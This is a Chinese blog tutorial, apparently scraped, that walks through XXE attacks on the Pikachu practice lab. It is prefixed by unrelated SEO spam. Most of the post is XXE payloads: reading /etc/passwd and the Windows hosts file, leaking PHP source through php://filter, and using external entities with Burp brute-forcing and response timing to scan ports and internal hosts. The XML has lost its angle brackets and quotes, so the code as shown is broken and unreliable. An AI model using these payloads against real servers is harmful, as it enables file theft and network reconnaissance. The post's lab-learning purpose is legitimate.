佛山网站制作网址,高端网站建设哪个好,网站建设走无形资产,seo数据优化教程文章目录 1. XXE1.1 查看系统文件内容1.2 查看PHP源代码1.3 查看开放端口1.4 探测内网主机 1. XXE
漏洞描述
XXE#xff08;XML External Entity#xff09;攻击是一种利用XML解析器漏洞的攻击。在这种攻击中#xff0c;攻击者通过在XML文件中插入恶意实体来触发解析器加载… 文章目录 1. XXE1.1 查看系统文件内容1.2 查看PHP源代码1.3 查看开放端口1.4 探测内网主机 1. XXE
漏洞描述
XXEXML External Entity攻击是一种利用XML解析器漏洞的攻击。在这种攻击中攻击者通过在XML文件中插入恶意实体来触发解析器加载恶意代码或文件从而执行任意代码、读取本地文件等操作。
在XXE攻击中攻击者通常会构造一个包含恶意实体的XML文件并将其提交到目标服务器上进行解析。当服务器使用XML解析器解析文件时会读取实体并展开其定义从而导致恶意代码被执行或文件被泄露。
例如在以下XML代码中
?xml version1.0 encodingISO-8859-1?
!DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe SYSTEM file:///etc/passwd ]
fooxxe;/foo所包含的ENTITY xxe就是一个XXE实体它指定了一个名为“xxe”的实体其内容来自于file:///etc/passwd路径下的文件。当XML解析器解析该文件时它会尝试读取并展开xxe实体从而将/etc/passwd文件内容返回给攻击者。
防范XXE攻击可以采取以下措施
对用户提交的XML文件进行严格校验禁止包含未知实体、注释等内容。禁用或限制XML解析器的外部实体加载功能例如禁止加载网络上的实体、限制文件读取范围等。使用安全的XML解析库如使用DOM解析器时要确保开启Entity Expansion Limit选项等。
参考文章XXE漏洞利用技巧从XML到远程代码执行。
先输入一个非xml的内容查看页面响应。 输入一个包含命名实体内部实体的xml数据以下代码中xxe是命名实体的实体名称
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe 芜湖 ]
fooxxe;/foo网页上回显“芜湖”说明网页对输入的xml数据是有结果回显的。 但是这里只能判断是否有回显不能判断是否支持外部实体。
1.1 查看系统文件内容
查看hosts文件
输入payload代码中xxe是外部实体的实体名称
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM file:///C:/Windows/System32/drivers/etc/hosts ]
fooxxe;/foo注意file://协议只能用绝对路径无法使用相对路径。
1.2 查看PHP源代码
查看php源代码一般用php伪协议php://filter
构造payload
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resourceC:/software/phpstudy_pro/WWW/pikachu/vul/xxe/xxe.php ]
fooxxe;/foo获得了base64编码的xxe.php文件源代码 通过utools中的插件进行解码即可。
1.3 查看开放端口
在输入框中输入下面的xml代码。
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM http://127.0.0.1:80 ]
fooxxe;/foo?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM http://127.0.0.1:81 ]
fooxxe;/foo页面显示如下图但是81端口的处理速度较慢。因为服务器80端口是开放的而81端口是关闭的。 使用bp抓包后进行爆破爆破1~100这100个端口。 点击Columns勾选Response received然后就增加了发送请求和回答复之间的时间的显示。 通过观察时间的长短判断出了有哪些端口开放这里只有80端口是开放的。
1.4 探测内网主机
同端口探测一样可根据返回信息内容的接收响应时间来判断ip是否存在。
构造payload
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM http://192.168.188.183 ]
fooxxe;/foo点击Columns勾选Response received然后就增加了发送请求和回答复之间的时间的显示。
使用nmap扫描来成功内网主机 对比两次的结果信息一致。